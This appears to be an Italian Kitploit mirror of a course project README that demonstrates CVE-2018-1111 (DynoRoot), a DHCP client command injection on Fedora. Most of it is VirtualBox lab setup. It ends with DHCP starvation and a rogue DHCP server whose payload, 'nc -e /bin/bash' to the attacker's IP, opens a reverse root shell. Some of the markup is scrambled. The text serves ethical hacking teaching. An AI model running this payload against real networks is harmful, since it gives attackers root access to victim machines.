Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
FEP3370-advanced-ethical-hacking — Sfruttamento DHCP con DynoRoot (CVE-2018-1111) | Kitploit
Strumenti/GitHubGitHub/baldassarrefe/fep3370-advanced-ethical-hacking
Analisi delle VulnerabilitàExploitSicurezza di RetePenetration TestingApprendimento e FormazioneLab e Pratica
GitHubbaldassarrefe/fep3370-advanced-ethical-hacking

FEP3370-advanced-ethical-hacking

Sfruttamento DHCP con DynoRoot (CVE-2018-1111)

Vedi RepositorySito web
15 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

DynoRoot CVE-2018-1111

Progetto finale per il corso Advanced Ethical Hacking presso il KTH, Stoccolma

Questo progetto dimostra una vulnerabilità nota delle macchine Fedora e RedHat legata a un'implementazione lato client non sicura del Dynamic Host Configuration Protocol (DHCP). Un server DHCP malevolo può creare offerte DHCP con un payload malevolo che viene eseguito in una shell root sulla macchina vittima.

La vulnerabilità è attribuita a Felix Wilhelm ed è nota come CVE-2018-1111 o "DynoRoot".

Indice dei contenuti:

  • Introduzione
    • Contesto
    • Vulnerabilità
Sessione DHCP (figura da , sotto licenza ). /> Screenshot dell'installazione: configurazione di rete. Screenshot dell'installazione: creazione utente. ```bash Schermata di installazione: configurazione di rete. Schermata di installazione: creazione utente.
Fonti
  • Configurazione
    • Prerequisiti
    • Macchina gateway
    • Attaccante
    • Vittima Fedora
  • Esecuzione dell'attacco
    • Gateway
    • Attaccante
    • Vittima
    • Analisi
  • Lavoro futuro
  • Crediti
  • Introduzione

    Contesto

    Il Dynamic Host Configuration Protocol (DHCP) è un componente spesso trascurato nei sistemi in rete. Il suo ruolo è consentire la configurazione dinamica dei computer host che si collegano a una rete esistente. Il caso d'uso più comune è assegnare un indirizzo IP agli host appena connessi e informarli delle rotte esistenti per accedere ad altre reti. È possibile specificare opzioni aggiuntive, ad esempio l'indirizzo di un server DNS locale e la zona che serve, o la posizione di un file di avvio.

    Analizziamo il protocollo a quattro fasi che viene seguito quando un nuovo host vuole unirsi a una rete dopo essersi connesso fisicamente tramite una connessione ethernet o wireless.

    1. Il client, privo di un indirizzo IP, invia in broadcast un messaggio DISCOVER sulla rete.
    2. Un server DHCP responsabile di quella rete risponde con un OFFER, contenente: indirizzo IP, subnet mask della rete, indirizzo del router e altre opzioni.
    3. Il client risponde con un REQUEST, richiedendo ufficialmente di prendere in affitto l'indirizzo IP offerto.
    4. Il server conclude lo scambio con un ACK, indicando che al client è permesso utilizzare l'indirizzo IP per un determinato periodo di tempo.

    Dopo lo scambio iniziale, il client può rinnovare il lease semplicemente inviando un altro messaggio REQUEST. Il server verificherà l'esistenza di un lease con l'indirizzo IP e MAC del client e risponderà con un ACK.

    Wikimedia Commons
    CC BY-SA 4.0

    Alcune cose da notare:

    • Un client può anche saltare la fase DISCOVER e richiedere immediatamente un indirizzo con REQUEST. Ciò è comune in scenari in cui il client si è già connesso alla rete in passato e ricorda l'indirizzo precedente. In questo caso, il server verifica la disponibilità dell'indirizzo e invia un ACK alla richiesta, oppure, se il lease non è disponibile, invia un NACK.
    • Al momento della disconnessione, i client possono inviare un messaggio RELEASE per informare il server che l'indirizzo è ora disponibile. Tuttavia, ciò non è obbligatorio dal protocollo e il server raccoglierà periodicamente i lease scaduti.
    • Ogni server DHCP gestisce un pool limitato di indirizzi IP; una volta assegnati tutti, il server non sarà in grado di offrire lease ai nuovi client.
    • Possono esistere più server DHCP sulla stessa rete; se un client riceve più offerte, ne accetterà solo una; gli altri server osserveranno la richiesta REQUEST in broadcast e invalideranno l'offerta.

    Vulnerabilità

    La vulnerabilità si trova in /etc/NetworkManager/dispatcher.d/11-dhclient, che viene eseguito dal client per analizzare e impostare le opzioni ricevute tramite DHCP.

    • declare è un builtin di bash che, se usato senza argomenti, elenca tutte le variabili dichiarate.
    • grep filtra tutte le variabili relative a DHCP.
    • while read opt itera sulle variabili DHCP una per una, esegue un po' di parsing e stampa una riga come export new_optionname=value per ogni opzione.
    • le istruzioni export vengono poi valutate dalla shell tramite eval.```bash eval "$( declare | LC_ALL=C grep '^DHCP4_[A-Z_]=' | while read opt; do optname=${opt%%=} optname=${optname,,} optname=new_${optname#dhcp4_} optvalue=${opt#*=} echo "export $optname=$optvalue" done )"
    root@kitploit:~
    <!-- omit in toc -->
    #### Funzionamento normale
    In situazioni normali, il codice funzionerebbe perfettamente e analizzerebbe le nuove opzioni DHCP.
    Ad esempio, il seguente codice:```bash
    DHCP4_OPTION_ONE=42
    DHCP4_OPTION_TWO="bla bla"
    
    declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
      optname=${opt%%=*}
      optname=${optname,,}
      optname=new_${optname#dhcp4_}
      optvalue=${opt#*=}
      echo "export $optname=$optvalue"
    done
    

    Stampa queste due istruzioni export da valutare tramite eval:```bash export new_option_one=42 export new_option_two='bla bla'

    root@kitploit:~
    <!-- omit in toc -->
    #### Iniezione di codice
    Tuttavia, a causa del `eval` non sicuro, è possibile iniettare comandi bash:```bash
    DHCP4_OPTION_ONE="x'& echo Hacked! #"
    DHCP4_OPTION_TWO='bla bla'
    
    eval "$(                             
      declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
        optname=${opt%%=*}
        optname=${optname,,}
        optname=new_${optname#dhcp4_}
        optvalue=${opt#*=}
        echo "export $optname=$optvalue"
      done
    )"
    

    Risulterà nella valutazione di echo Hacked!:```text [1] 1541 Hacked!

    root@kitploit:~
    ### Fonti
    - [Voce nel database Exploit](https://www.exploit-db.com/exploits/44890)
    - [Annuncio RedHat](https://access.redhat.com/security/vulnerabilities/3442151)
    - [Post sul blog di Tenable](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
    - [Repository GitHub](https://github.com/kkirsche/CVE-2018-1111)
    - [Annuncio su Twitter](https://twitter.com/_fel1x/status/996388421273882626?lang=en)
    
    ## Configurazione
    La configurazione minima per dimostrare l'exploit consiste in due sole macchine: la macchina `victim`
    che esegue Fedora 28 e una macchina `attacker`. In questa configurazione, l'attaccante deve semplicemente fornire un
    servizio DHCP e attendere la connessione della vittima.
    
    <figure style="text-align:center">
      <img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
      <figcaption>Configurazione minima per l'exploit.</figcaption>
    </figure>
    
    Una configurazione più realistica collocherebbe le macchine su una rete privata, dove una terza macchina, il
    `gateway`, è configurata come server DHCP benigno e come gateway verso Internet esterno.
    In questa configurazione, l'attaccante deve impedire alla vittima di connettersi al server DHCP legittimo
    prima di sperare di eseguire l'attacco.
    
    <figure style="text-align:center">
      <img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
      <figcaption>Configurazione di rete privata con un gateway che funge da DHCP, router e firewall.</figcaption>
    </figure>
    
    Nelle sezioni seguenti:
    1. Installeremo VirtualBox
    2. Creeremo 3 macchine virtuali: `gateway`, `attacker` e `victim`
    3. Installeremo il sistema operativo sulle macchine (utenti, rete e accesso SSH)
    4. Configureremo il gateway per ospitare il server DHCP benigno 
       per la rete interna virtuale fornita da VirtualBox
    5. Installeremo le dipendenze Python per l'attacco
    
    Per [passare direttamente all'azione](#performing-the-attack) e saltare la configurazione manuale, è possibile
    eseguire lo script [`setup.sh`](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/ansible/setup.sh) nella cartella `ansible`, che creerà (quasi)
    automaticamente le macchine virtuali e le configurerà utilizzando
    [Ansible Roles](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html).
    Assicurati solo che Ansible e VirtualBox siano installati prima di lanciare `setup.sh`.
    
    ### Preliminari
    
    #### Installare VirtualBox
    Le seguenti istruzioni provengono dalla [guida ufficiale all'installazione](https://www.virtualbox.org/wiki/Downloads).
    
    Aggiungere questa riga a `/etc/apt/sources.list`:```bash
    deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib
    

    Installa virtualbox e l'extension pack:```bash wget -q 'https://www.virtualbox.org/download/oracle_vbox_2016.asc' -O- | sudo apt-key add - wget -q 'https://www.virtualbox.org/download/oracle_vbox.asc' -O- | sudo apt-key add -

    sudo apt-get update sudo apt-get -y install gcc make linux-headers-$(uname -r) dkms virtualbox-6.1

    wget 'https://download.virtualbox.org/virtualbox/6.1.16/Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack' sudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack VBoxManage list extpacks

    root@kitploit:~
    #### Installare Ansible (opzionale)
    Dalla [guida ufficiale per Ubuntu](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-ubuntu):```bash
    sudo apt update
    sudo apt install software-properties-common
    sudo apt-add-repository --yes --update ppa:ansible/ansible
    sudo apt install ansible
    

    Configurazione SSH comune

    In questa sezione creeremo le credenziali SSH che useremo per accedere alle macchine. Aggiungere le voci dell'host nel file di configurazione SSH ci farà risparmiare un po' di battitura in seguito.

    Crea una chiave SSH senza passphrase:```bash ssh-keygen -f ~/.ssh/ethhack -t ed25519 -N ''

    root@kitploit:~
    Aggiungi queste voci al file di configurazione SSH (`~/.ssh/config`):```
    Host gateway.ethhack
      Port 6001
      User gateway   
    
    Host victim.ethhack
      Port 6002
      User victim
    
    Host attacker.ethhack
      Port 6003
      User attacker
    
    Host *.ethhack
      LogLevel ERROR
      HostName localhost
      IdentityFile ~/.ssh/ethhack
      StrictHostKeyChecking no
      UserKnownHostsFile /dev/null
    

    Macchina gateway

    Questa macchina ospita il server DHCP benigno che gestisce un pool di indirizzi sulla rete interna. Si basa su Ubuntu Server 18.04 con il pacchetto ISC DHCP.

    In uno scenario reale, questa macchina fungerebbe anche da router (iptables) e firewall (UFW Uncomplicated Firewall) tra le macchine sulla rete e il mondo esterno. Potrebbe anche ospitare un server DNS per alcuni servizi interni (BIND9).

    Creazione VM

    Creeremo la macchina virtuale utilizzando gli strumenti da riga di comando di VirtualBox, in modo che il processo possa essere ripetuto il più rapidamente possibile. In alternativa, è possibile creare la VM tramite l' interfaccia grafica inserendo la stessa configurazione.

    Scarica l'ISO di Ubuntu:```bash wget 'https://ftp.lysator.liu.se/ubuntu-releases/18.04.5/ubuntu-18.04.5-live-server-amd64.iso' md5sum --check << EOF fcd77cd8aa585da4061655045f3f0511 ubuntu-18.04.5-live-server-amd64.iso EOF

    root@kitploit:~
    Create the VM:
    - Interfaccia di rete 1 connessa alla rete NAT predefinita di VirtualBox
    - Interfaccia di rete 2 connessa alla rete interna `intnet`\
      (la "d" nell'indirizzo MAC sta per DHCP)
    - Inoltro di porta da una porta `600x` sull'host alla porta SSH nella macchina virtuale```bash
    VM_NAME="gateway"
    VRDE_PORT=5001
    SSH_PORT=6001
    VM_MAC='08:00:dd:dd:dd:dd'
    
    VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
    VBoxManage modifyvm "${VM_NAME}" \
      --memory 2048 \
      --acpi on \
      --boot1 dvd \
      --nic1 nat \
      --nic2 'intnet' \
      --macaddress2 "${VM_MAC//:/}" \
      --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
      --audio none
    
    VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
    VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
    VBoxManage storageattach "${VM_NAME}" \
      --storagectl "IDE Controller" \
      --port 0 \
      --device 0 \
      --type hdd \
      --medium "${VM_NAME}.vdi"
    
    VBoxManage storageattach "${VM_NAME}" \
      --storagectl "IDE Controller" \
      --port 0 \
      --device 1 \
      --type dvddrive \
      --medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
    

    Se qualcosa va storto:```bash VBoxManage unregistervm "${VM_NAME}" --delete

    root@kitploit:~
    #### Installazione del sistema operativo
    La prima volta che avviamo la macchina abbiamo bisogno di un desktop virtuale per seguire i passaggi di installazione. Possiamo avviare la macchina virtuale in modalità headless e utilizzare `rdesktop-vrdp` per connetterci. Se VirtualBox è in esecuzione su un computer desktop, potrebbe essere più semplice avviare la macchina virtuale dalla GUI, ma questo metodo funzionerà anche con un host VirtualBox remoto.```bash
    VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
    sleep 5
    rdesktop-vrdp "localhost:${VRDE_PORT}"
    kill %%
    

    Parametri di configurazione per l'installer:

    • Nome host gateway
    • Utente gateway
    • Password gat
    • IP statico 192.168.0.1 su enp0s8
    • Abilita server SSH

    Dopo l'installazione, spegnere, rimuovere l'iso e disabilitare VRDE:```bash VBoxManage storageattach "${VM_NAME}"
    --storagectl "IDE Controller"
    --port 0
    --device 1
    --type dvddrive
    --medium "none" VBoxManage modifyvm "${VM_NAME}" --vrde off

    root@kitploit:~
    #### Accesso SSH
    Per facilità di accesso possiamo installare la chiave SSH creata sopra nella macchina `gateway`:```bash
    VBoxHeadless --startvm "${VM_NAME}" &
    sleep 5
    ssh-copy-id -i ~/.ssh/ethhack.pub gateway.ethhack
    ssh gateway.ethhack
    

    Se per qualche motivo l'interfaccia di rete enp0s8 non è stata configurata durante l'installazione, scrivi questa configurazione in /etc/netplan/00-installer-config.yaml:```yaml network: version: 2 ethernets: enp0s3: dhcp4: yes enp0s8: dhcp4: no addresses : - 192.168.0.1/24

    root@kitploit:~
    E aggiorna la configurazione di rete:```
    sudo netplan apply
    ip addr show dev enp0s8
    

    server DHCP

    Installa ISC DHCP:```bash sudo apt install -y isc-dhcp-server

    root@kitploit:~
    Per abilitare DHCP sull'interfaccia interna, modifichiamo `/etc/default/isc-dhcp-server`:```bash
    sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server
    

    La configurazione del pool di indirizzi gestito dal DHCP va in /etc/dhcp/dhcpd.conf:``` authoritative;

    default-lease-time 60; max-lease-time 7200;

    subnet 192.168.0.0 netmask 255.255.255.0 { range 192.168.0.100 192.168.0.105; }

    root@kitploit:~
    Il tempo di lease predefinito scelto di 1 minuto è piuttosto basso, ma è utile per scopi dimostrativi.
    
    <!--```bash
    echo '
    authoritative;
    
    default-lease-time 60;
    max-lease-time 7200;
    
    subnet 192.168.0.0 netmask 255.255.255.0 {
      range 192.168.0.100 192.168.0.105;
      option domain-name-servers 192.168.0.53;
      option domain-name "100waystocook.pizza.";
    }
    ' | sudo tee /etc/dhcp/dhcpd.conf > /dev/null
    
    sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server
    
    sudo systemctl restart isc-dhcp-server
    

    Riavvia il servizio: -->```bash sudo systemctl restart isc-dhcp-server

    root@kitploit:~
    Gli eventi DHCP vengono registrati in `/var/log/syslog`. 
    Possiamo evidenziare le voci rilevanti con:```bash
    tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
    

    Se lasciamo il gateway acceso durante l'installazione delle altre macchine, riceveranno automaticamente la configurazione DHCP.

    wget 'https://ftp.lysator.liu.se/ubuntu-releases/18.04.5/ubuntu-18.04.5-live-server-amd64.iso'

    VM_NAME="webserver" VRDE_PORT=5050 SSH_PORT=6050

    VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register VBoxManage modifyvm "${VM_NAME}"
    --memory 2048
    --acpi on
    --boot1 dvd
    --nic1 nat
    --nic2 'intnet'
    --natpf1 "guestssh,tcp,,${SSH_PORT},,22"
    --vrde on
    --vrdeport "${VRDE_PORT}"
    --audio none

    VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000 VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4 VBoxManage storageattach "${VM_NAME}"
    --storagectl "IDE Controller"
    --port 0
    --device 0
    --type hdd
    --medium "${VM_NAME}.vdi"

    VBoxManage storageattach "${VM_NAME}"
    --storagectl "IDE Controller"
    --port 0
    --device 1
    --type dvddrive
    --medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"

    VBoxHeadless --startvm "${VM_NAME}" --vrde on

    root@kitploit:~
    #### OS Install
    La prima volta che avviamo la macchina abbiamo bisogno di un desktop virtuale per seguire i passaggi di installazione. Possiamo avviare la macchina virtuale in modalità headless e utilizzare `rdesktop-vrdp` per connetterci. Se VirtualBox è in esecuzione su un computer desktop, potrebbe essere più semplice avviare la macchina virtuale dalla GUI, ma questo metodo funzionerà anche con un host VirtualBox remoto.```
    rdesktop-vrdp localhost:5050
    

    Install config:

    • utente webserver
    • password web
    • hostname server
    • abilita SSH

    Dopo l'installazione, spegnere, rimuovere l'iso e disabilitare VRDE:```bash VBoxManage storageattach "${VM_NAME}"
    --storagectl "IDE Controller"
    --port 0
    --device 1
    --type dvddrive
    --medium "none" VBoxManage modifyvm "${VM_NAME}" --vrde off

    root@kitploit:~
    #### Accesso SSH```bash
    VBoxHeadless --startvm "${VM_NAME}" &
    ssh-copy-id -i ~/.ssh/ethhack.pub webserver.ethhack
    ssh webserver.ethhack
    

    Rete

    Hostname```bash sudo sed 's/server/server server.100waystocook.pizza/' -i /etc/hosts sudo hostnamectl set-hostname 'server.100waystocook.pizza'

    root@kitploit:~
    -->
    ### Attaccante
    La macchina dell'attaccante non ha requisiti particolari, deve eseguire Python in un ambiente Conda.
    Per semplicità possiamo riutilizzare l'ISO da [Ubuntu Server 18.04](https://releases.ubuntu.com/18.04/).
    
    #### Creazione VM
    Creare la VM:
    - Interfaccia di rete 1 collegata alla rete NAT predefinita di VirtualBox
    - Interfaccia di rete 2 collegata alla rete interna `intnet`\
      (la 'a' nell'indirizzo MAC sta per Attaccante)
    - Inoltro di porta da una porta `600x` sull'host alla porta SSH nella macchina virtuale```bash
    VM_NAME="attacker"
    VRDE_PORT=5003
    SSH_PORT=6003
    VM_MAC='08:00:aa:aa:aa:aa'
    
    VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
    VBoxManage modifyvm "${VM_NAME}" \
      --memory 2048 \
      --acpi on \
      --boot1 dvd \
      --nic1 nat \
      --nic2 'intnet' \
      --macaddress2 "${VM_MAC//:/}" \
      --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
      --audio none
    
    VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
    VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
    VBoxManage storageattach "${VM_NAME}" \
      --storagectl "IDE Controller" \
      --port 0 \
      --device 0 \
      --type hdd \
      --medium "${VM_NAME}.vdi"
    
    VBoxManage storageattach "${VM_NAME}" \
      --storagectl "IDE Controller" \
      --port 0 \
      --device 1 \
      --type dvddrive \
      --medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
    

    Installazione del sistema operativo

    La prima volta che avviamo la macchina abbiamo bisogno di un desktop virtuale per seguire i passaggi di installazione. Possiamo avviare la macchina virtuale in modalità headless e utilizzare rdesktop-vrdp per connetterci. Se VirtualBox è in esecuzione su un computer desktop, potrebbe essere più semplice avviare la macchina virtuale dalla GUI, ma questo metodo funzionerà anche con un host VirtualBox remoto.```bash VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" & sleep 5 rdesktop-vrdp "localhost:${VRDE_PORT}" kill %%

    root@kitploit:~
    Parametri di configurazione per l'installer:
    - Hostname `attacker`
    - Utente `attacker`
    - Password `att`
    - Imposta `enp0s8` per utilizzare DHCP
    - Abilita server SSH
    
    <figure style="text-align:center">
      <img src="https://assets.kitploit.com/production/public/readmes/23114/d0cac70178196a263b1eeeada0027dd0266b2a57c48c5d9aa47dda9259db500f.png" style="max-width:600px;" width="90%"/>
      <figcaption>Screenshot dell'installazione: creazione utente.</figcaption>
    </figure>
    
    Dopo l'installazione, spegnere, rimuovere l'iso e disabilitare VRDE:```bash
    VBoxManage storageattach "${VM_NAME}" \
      --storagectl "IDE Controller" \
      --port 0 \
      --device 1 \
      --type dvddrive \
      --medium "none"
    VBoxManage modifyvm "${VM_NAME}" --vrde off
    

    SSH Login

    Per facilitare l'accesso possiamo installare la chiave SSH creata sopra nella macchina attacker:```bash VBoxHeadless --startvm "${VM_NAME}" & sleep 5 ssh-copy-id -i ~/.ssh/ethhack.pub attacker.ethhack ssh attacker.ethhack

    root@kitploit:~
    #### Dipendenze software
    The python attack scripts need to run as `root` to be able to craft low-level network packages using [Scapy](https://github.com/secdev/scapy).
    Per semplicità, installeremo tutte le dipendenze utilizzando l'utente `root`.
    <!-- Versione più recente di NMap (almeno `0de714`) -->```
    apt-get install -y build-essential autoconf
    git clone https://github.com/nmap/nmap
    pushd nmap
    git checkout 0de714
    ./configure
    make
    make install
    popd
    
    nmap --script broadcast-dhcp-discover --script-args mac=random,timeout=2 -e enp0s8
    nmap --script dhcp-discover --script-args dhcptype=DHCPRELEASE,mac=08:00:27:EF:5F:BA -e enp0s8
    

    --> Ambiente Conda con Scapy:```bash sudo su cd wget 'https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh' chmod u+x Miniconda3-latest-Linux-x86_64.sh ./Miniconda3-latest-Linux-x86_64.sh -b -p ./miniconda ./miniconda/bin/conda init source .bashrc

    conda create -y -n dynoroot python=3.6 conda activate dynoroot pip install 'scapy[complete]'

    root@kitploit:~
    Successivamente, otterremo i due script di attacco da GitHub:
    - **DHCP starvation**\
      Questo script inonderà il DHCP benigno con richieste false, 
      esaurendo il pool di indirizzi disponibili.  ```bash
      git clone 'https://github.com/baldassarreFe/FEP3370-advanced-ethical-hacking'
    
    • DHCP Rogue
      Una volta che il DHCP benigno ha esaurito gli indirizzi, questo script sarà pronto per offrire offerte DHCP incorporate con il parametro malevolo. Questo script è una versione modificata del CVE originale): ```bash git clone 'https://github.com/baldassarreFe/CVE-2018-1111' --branch 'feature/ignore-mac'
      root@kitploit:~

    Vittima Fedora

    La macchina vittima non è configurata in alcun modo particolare, è solo un'installazione di Fedora 28 con un NetworkManager vulnerabile.

    Creazione VM

    Scarica l'ISO di Fedora:```bash wget 'https://archives.fedoraproject.org/pub/archive/fedora/linux/releases/28/Server/x86_64/iso/Fedora-Server-dvd-x86_64-28-1.1.iso' md5sum --check << EOF 18740b445159c54d10bd887650e8d1d7 Fedora-Server-dvd-x86_64-28-1.1.iso EOF

    root@kitploit:~
    Create the VM:
    - Network interface 1 connessa alla rete NAT predefinita di VirtualBox
    - Network interface 2 connessa alla rete interna `intnet`\
      (la "f" nell'indirizzo MAC sta per Fedora)
    - Port forwarding da una porta `600x` sull'host alla porta SSH nella macchina virtuale```bash
    VM_NAME="fedora"
    VRDE_PORT=5003
    SSH_PORT=6003
    VM_MAC='08:00:ff:ff:ff:ff'
    
    VBoxManage createvm --name "${VM_NAME}" --ostype Fedora_64 --register
    VBoxManage modifyvm "${VM_NAME}" \
      --memory 2048 \
      --acpi on \
      --boot1 dvd \
      --nic1 nat \
      --nic2 'intnet' \
      --macaddress2 "${VM_MAC//:/}" \
      --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
      --audio none
    
    VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
    VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
    VBoxManage storageattach "${VM_NAME}" \
      --storagectl "IDE Controller" \
      --port 0 \
      --device 0 \
      --type hdd \
      --medium "${VM_NAME}.vdi"
    
    VBoxManage storageattach "${VM_NAME}" \
      --storagectl "IDE Controller" \
      --port 0 \
      --device 1 \
      --type dvddrive \
      --medium "$(realpath Fedora-Server-dvd-x86_64-28-1.1.iso)"
    

    Se qualcosa va storto:```bash VBoxManage unregistervm "${VM_NAME}" --delete

    root@kitploit:~
    #### Installazione del sistema operativo
    La prima volta che avviamo la macchina abbiamo bisogno di un desktop virtuale per seguire i passaggi di installazione. Possiamo avviare la macchina virtuale in modalità headless e usare `rdesktop-vrdp` per connetterci. Se VirtualBox è in esecuzione su un computer desktop, potrebbe essere più semplice avviare la macchina virtuale dalla GUI, ma questo metodo funzionerà anche con un host VirtualBox remoto.```bash
    VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
    sleep 12 # Fedora is slow...
    rdesktop-vrdp "localhost:${VRDE_PORT}"
    kill %%
    

    Install config:

    • Hostname fedora
    • User victim
    • Password vic
    • Imposta enp0s8 per usare DHCP
    • Il server SSH è abilitato per impostazione predefinita

    Dopo l'installazione, spegnere, rimuovere l'iso e disabilitare VRDE:```bash VBoxManage storageattach "${VM_NAME}"
    --storagectl "IDE Controller"
    --port 0
    --device 1
    --type dvddrive
    --medium "none" VBoxManage modifyvm "${VM_NAME}" --vrde off

    root@kitploit:~
    #### Accesso SSH
    Per facilità di accesso possiamo installare la chiave SSH creata sopra nella macchina `victim`:```bash
    VBoxHeadless --startvm "${VM_NAME}" &
    sleep 5
    ssh-copy-id -i ~/.ssh/ethhack.pub victim.ethhack
    ssh victim.ethhack
    

    Rete

    Verifica che l'interfaccia enp0s8 stia usando DHCP:```bash sudo nmcli device show enp0s8

    root@kitploit:~
    In caso contrario, può essere configurato utilizzando:```
    sudo nmcli connection down   enp0s8
    sudo nmcli connection modify enp0s8 IPv4.method auto
    sudo nmcli connection modify enp0s8 IPv4.address ''
    sudo nmcli connection up     enp0s8
    

    Per tornare a un IP statico:```bash sudo nmcli connection down enp0s8 sudo nmcli connection modify enp0s8 IPv4.address 192.168.0.99/24 sudo nmcli connection modify enp0s8 IPv4.method manual sudo nmcli connection up enp0s8

    root@kitploit:~
    ## Esecuzione dell'attacco
    
    I seguenti passaggi, eseguiti in ordine, mostreranno l'attacco DHCP.
    Suggeriamo di configurare un multiplexer di terminale come [Byobu](https://www.byobu.org/) per facilitare
    il passaggio da una macchina all'altra.
    
    Prima dell'attacco:
    1. Avviare le 3 macchine virtuali, che si connetteranno automaticamente al DHCP benigno
    2. Disconnettere la macchina Fedora e pulire i file di lease DHCP per simulare una nuova connessione
    3. Riavviare il server DHCP per simulare una nuova connessione
    
    L'attacco stesso consiste in:
    1. Inviare una serie di richieste DHCP FALSE dall'attaccante per _affamare_ il server DHCP benigno
    2. Avviare il server DHCP malevolo che invierà OFFERTE maligne alla vittima
    3. Riconnettere la macchina Fedora e attendere che NetworkManager trasmetta una DHCP DISCOVER
    4. Attendere la connessione della shell inversa
    
    Se succede qualcosa, fermare tutti i servizi rilevanti e ricominciare.
    
    ### Gateway
    Pulire i vecchi lease DHCP e la tabella ARP, quindi riavviare il DHCP:```bash
    sudo systemctl stop isc-dhcp-server
    sudo rm /var/lib/dhcp/dhcpd.leases*
    sudo ip link set arp off dev enp0s8
    sudo ip link set arp on dev enp0s8
    
    sudo systemctl start isc-dhcp-server
    tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
    

    Attaccante

    Ottieni un nuovo lease DHCP:``` sudo dhclient -r enp0s8 sudo dhclient -v enp0s8

    root@kitploit:~
    Registra il traffico DHCP utilizzando `tcpdump`:```bash
    sudo ip link set enp0s8 promisc on
    sudo tcpdump -i enp0s8 -w attack.pcap 'arp or icmp or port 67 or port 68'
    

    In alternativa, VirtualBox può anche registrare il traffico:```bash VBoxManage modifyvm "attacker" --nictrace2 on --nictracefile2 capture.pcap VBoxManage modifyvm "attacker" --nictrace2 off

    root@kitploit:~
    Avvia l'esaurimento DHCP (eseguito come `root`):```
    sudo su && cd && conda activate dynoroot
    python FEP3370-advanced-ethical-hacking/starver.py \
      --interface  enp0s8 \
      --pool-start 192.168.0.100 \
      --pool-end   192.168.0.105
    

    Usa netcat per ascoltare le connessioni dalla vittima:``` nc -v -l -p 1337

    root@kitploit:~
    Lancia l'attacco (esegui come `root`):```bash
    sudo su && cd && conda activate dynoroot
    MY_IP=$(ip -f inet addr show enp0s8 | awk '/inet / {print $2}' | cut -d'/' -f1)
    MY_MAC=$(ip link show enp0s8 | awk '/link\/ether / {print $2}' | cut -d'/' -f1)
    python CVE-2018-1111/main.py \
      -i enp0s8 \
      -s 192.168.0.0/24 \
      -g 192.168.0.1 \
      -d 'victim.net' \
      -m "${MY_MAC}" \
      -p "nc -e /bin/bash ${MY_IP} 1337"
    

    Vittima

    Pulisci i vecchi lease DHCP e riconnetti:``` sudo nmcli connection down enp0s8 sudo find /var/lib/NetworkManager -name 'dhclient-*-enp0s8.lease' -delete

    sudo nmcli connection up enp0s8 nmcli

    root@kitploit:~
    ### Analisi
    
    #### Cattura video
    Il seguente [video](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/dynoroot.mp4) mostra l'esecuzione dell'attacco seguendo i
    passaggi sopra indicati. Nel video è possibile osservare:
    1. Lo scambio DHCP a 4 vie tra il `gateway` e l'`attacker`
    2. L'attacco di starvation DHCP, sia nella console dell'attaccante 
       che nei log del server DHCP (notare il `NACK` a causa del lease esistente dell'attaccante)
    3. Il messaggio "no free leases" dal `gateway` quando la `vittima` trasmette un DHCP `DISCOVER`
